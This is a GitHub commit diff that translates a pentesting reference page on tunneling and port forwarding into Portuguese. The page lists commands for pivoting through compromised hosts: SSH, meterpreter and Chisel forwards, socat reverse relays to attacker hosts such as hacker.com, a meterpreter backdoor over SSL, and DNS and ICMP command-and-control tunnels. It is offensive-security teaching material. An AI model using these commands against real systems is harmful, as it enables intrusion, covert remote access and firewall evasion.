Skip to content

Commit

Permalink
Update tunneling-and-port-forwarding.md
Browse files Browse the repository at this point in the history
  • Loading branch information
@G4L1T0
G4L1T0 authored Oct 7, 2021
1 parent 91ccdaf commit 1ba48df
Showing 1 changed file with 55 additions and 51 deletions.
106 changes: 55 additions & 51 deletions tunneling-and-port-forwarding.md
View file
Original file line number Diff line number Diff line change
@@ -1,72 +1,74 @@
# Tunneling and Port Forwarding
# Tunelamento e Port Forwarding

## **SSH**

SSH graphical connection \(X\)
Conexão gráfica SSH (X)

```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
ssh -Y -C <user>@<ip> # -Y é menos seguro, mas mais rápido que -X
```

### Local Port2Port

Open new Port in SSH Server --&gt; Other port
Abrir uma nova porta no servidor SSH -> Other port

```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 [email protected] #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:127.0.0.1:1521 [email protected] #Porta local 1521 acessível na porta 10521 de qualquer lugar
```

```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 [email protected] #Remote port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 [email protected] #Porta remota 1521 acessível na porta 10521 de qualquer lugar
```

### Port2Port

Local port --&gt; Compromised host \(SSH\) --&gt; Third\_box:Port
Porta Local -> Host comprometido (SSH) -> Third_box:Port

```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
ssh -i ssh_key <usuario>@<ip_comprometido> -L <porta_do_atacante>:<ip_da_vitima>:<porta_remota> [-p <porta_ssh>] [-N -f] #Dessa forma, o terminal ainda está em seu host

#Exemplo
sudo ssh -L 631:<ip_da_vitima>:631 -N -f -l <usuario> <ip_comprometido>
```

### Port2hostnet \(proxychains\)
### Port2hostnet (proxychains)

Local Port --&gt; Compromised host\(SSH\) --&gt; Wherever
Porta Local -> Host comprometido (SSH) -> Wherever

```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
ssh -f -N -D <porta_do_atacante> <usuario>@<ip_comprometido> #Tudo enviado para a porta local irá ser redirecionado para o servidor comprometido (uso como proxy)
```

### VPN-Tunnel
### Túnel - VPN

Você precisa de root em ambos os dispositivos (já que criará novas interfaces) e a configuração do sshd deve permitir o login de root:

You need **root in both devices** \(as you are going to create new interfaces\) and the sshd config has to allow root login:
`PermitRootLogin yes`
`PermitTunnel yes`

```bash
ssh username@server -w any:any #This wil create Tun interfaces in both devices
ssh username@server -w any:any #Isso criará interfaces Tun em ambos os dispositivos.
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
```

Enable forwarding in Server side
Ativando o encaminhamento do lado do servidor

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```

Set new route on client side
Defina uma nova rota do lado do cliente

```text
route add -net 10.0.0.0/16 gw 1.1.1.1
```

## SSHUTTLE

You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.
Example, forwarding all the traffic going to 10.10.10.0/24
Você pode **encapsular** via **ssh** todo o **tráfego** para uma **sub-rede** por meio de um host.
Exemplo, encaminhando todo o tráfego que vai para 10.10.10.0/24

```bash
pip install sshuttle
Expand All @@ -77,18 +79,18 @@ sshuttle -r user@host 10.10.10.10/24

### Port2Port

Local port --&gt; Compromised host \(active session\) --&gt; Third\_box:Port
Porta Local -> Host comprometido (active session) -> Third_box:Port

```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
portfwd add -l <porta_do_atacante> -p <porta_remota> -r <host_remoto>
```

### Port2hostnet \(proxychains\)
### Port2hostnet (proxychains)

```bash
background# meterpreter session
route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
route add <ip_vitima> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
Expand All @@ -113,23 +115,23 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains

[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)

You need to upload a web file tunnel: ashx\|aspx\|js\|jsp\|php\|php\|jsp
Você precisa fazer upload de um arquivo web no túnel: ashx\|aspx\|js\|jsp\|php\|php\|jsp

```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```

## Chisel

You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
You need to use the **same version for client and server**
Você pode baixá-lo na página de lançamentos do [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
Você precisa usar a **mesma versão para cliente e servidor**

### socks

```bash
./chisel server -p 8080 --reverse #Server
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client
#And now you can use proxychains with port 1080 (default)
#E agora você pode usar proxychains com a porta 1080 (default)
```

### Port forwarding
Expand All @@ -143,8 +145,8 @@ You need to use the **same version for client and server**

[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)

Reverse tunnel. The tunnel is started from the victim.
A socks4 proxy is created on 127.0.0.1:1080
Túnel reverso. O túnel é iniciado a partir da vítima.
Um proxy socks4 é criado em 127.0.0.1:1080

```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
Expand Down Expand Up @@ -197,7 +199,7 @@ socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
### Meterpreter through SSL Socat

```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
#Crie o backdoor do meterpreter na porta 3333 e inicie o listener do msfconsole nessa porta
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```

Expand All @@ -206,7 +208,7 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server
#Execute the meterpreter
```

You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:
Você pode ignorar um **proxy não autenticado** executando esta linha em vez da última no console da vítima:

```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
Expand All @@ -218,10 +220,10 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke

**/bin/sh console**

Create certificates in both sides: Client and Server
Crie certificados em ambos os lados: Cliente e Servidor

```bash
# Execute this commands in both sides
# Execute este comando em ambos os lados
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
Expand All @@ -236,19 +238,19 @@ victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.

### Remote Port2Port

Connect the local SSH port \(22\) to the 443 port of the attacker host
Conecte a porta SSH local (22) à porta 443 do host não autorizado

```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Conecte-se à porta 443 do invasor e tudo que vier daqui será redirecionado para a porta 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Conecta-se ao SSH da vítima
```

## Plink.exe

It's like a console PuTTY version \( the options are very similar to a ssh client\).
É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh).

As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:
Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nossa porta e serviço ssh para que possamos ter uma conexão reversa. Portanto, para encaminhar apenas uma porta acessível localmente para uma porta em nossa máquina:

```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
Expand All @@ -257,8 +259,9 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0

## NTLM proxy bypass

The previously mentioned tool: **Rpivot**
**OpenVPN** can also bypass it, setting these options in the configuration file:
A ferramenta mencionada anteriormente: **Rpivot**

**OpenVPN** também pode ignorá-lo definindo estas opções no arquivo de configuração:

```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
Expand All @@ -268,8 +271,9 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm

[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)

It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.
Example that forward port 443
Ele se autentica em um proxy e vincula uma porta localmente, que é encaminhada ao serviço externo que você especificar. Então você pode usar a ferramenta de sua escolha por meio desta porta.

Exemplo que faz o forward da porta 443

```text
Username Alice
Expand All @@ -279,36 +283,36 @@ Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```

Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
Agora, se você definir, por exemplo na vítima o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele por meio da porta 2222 do invasor.
Você também pode usar o **meterpreter** para se conecta ao localhost:443 e o invasor está escutando na porta 2222.

## YARP

A reverse proxy create by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
Um proxy reverso criado pela Microsoft. Você pode encontrá-lo aqui: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)

## DNS Tunneling

### Iodine

[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)

Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.
O root é necessário em ambos os sistemas para criar adaptadores de túnel e dados de túnel entre eles usando consultas DNS.

```text
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```

The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:
O túnel vai ser muito lento. Você pode criar uma conexão SSH compactada por meio deste túnel usando:

```text
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```

### DNSCat2

Establishes a C&C channel through DNS. It doesn't need root privileges.
Estabeleça um canal C&C por meio do DNS. Não precisa de privilégios de root.

```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
Expand All @@ -324,7 +328,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b

#### Change proxychains DNS

Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** \(hardcoded\). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**.
Proxychains intercepta a chamada libc `gethostbyname` e canaliza a solicitação DNS tcp através do proxy socks. Por **padrão** o servidor **DNS** que o proxychains usa é **4.2.2.2** (codificado). Para alterá-lo, edite o arquivo: _/usr/lib/proxychains3/proxyresolv_ e altere o IP. Se você estiver em um ambiente **Windows**, poderá definir o IP do **controlador de domínio**.

## Tunnels in Go

Expand All @@ -337,7 +341,7 @@ Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request thr
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)

Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.
O root é necessário em ambos os sistemas para criar adaptadores de túnel e dados de túnel entre eles usando solicitações do ICMP.

```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
Expand Down

0 comments on commit 1ba48df

Please sign in to comment.